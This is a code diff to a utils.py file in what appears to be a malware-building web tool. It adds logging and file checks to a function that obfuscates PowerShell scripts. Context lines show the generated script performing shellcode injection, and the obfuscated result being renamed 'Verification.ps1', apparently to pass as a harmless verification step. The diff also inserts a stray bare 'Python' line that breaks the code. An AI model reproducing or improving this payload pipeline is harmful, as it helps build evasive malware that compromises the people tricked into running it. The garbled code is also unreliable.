Update utils.py

utils.py

@@ -38,6 +38,8 @@ HEADERS = {
 def generate_random_string(length=8):
     return ''.join(random.choices(string.ascii_letters + string.digits, k=length))
 
+
+Python
 def obfuscate_powershell_script(ps1_path):
     try:
         cmd = f'pwsh -f "{OBFUSCATOR_SCRIPT}"'
@@ -45,9 +47,19 @@ def obfuscate_powershell_script(ps1_path):
         process.stdin.write(f"{ps1_path}\n")
         process.stdin.flush()
         stdout, stderr = process.communicate()
+
+        # Log the stdout and stderr for debugging
+        current_app.logger.info(f"Obfuscation script stdout: {stdout}")
+        current_app.logger.error(f"Obfuscation script stderr: {stderr}")
+
         if process.returncode != 0:
             raise Exception(f"Error obfuscating PowerShell script: {stderr}")
+        
+        # Check if the obfuscated file was created
         obfuscated_file = ps1_path.replace(".ps1", "_OBF.ps1")
+        if not os.path.exists(obfuscated_file):
+            raise FileNotFoundError(f"Obfuscated file not found: {obfuscated_file}")
+
         return obfuscated_file
     except Exception as e:
         raise Exception(f"Obfuscation failed: {str(e)}")
@@ -310,7 +322,11 @@ Write-Host "Shellcode injection completed successfully."
 
         # Obfuscate the PowerShell script
         obfuscated_ps1_path = obfuscate_powershell_script(ps1_path)
-
+        
+        # Check if the obfuscated file exists before renaming
+        if not os.path.exists(obfuscated_ps1_path):
+            raise FileNotFoundError(f"Obfuscated file not found: {obfuscated_ps1_path}")
+        
         # Rename the obfuscated file to Verification.ps1
         verification_ps1_path = os.path.join(temp_dir, "Verification.ps1")
         os.rename(obfuscated_ps1_path, verification_ps1_path)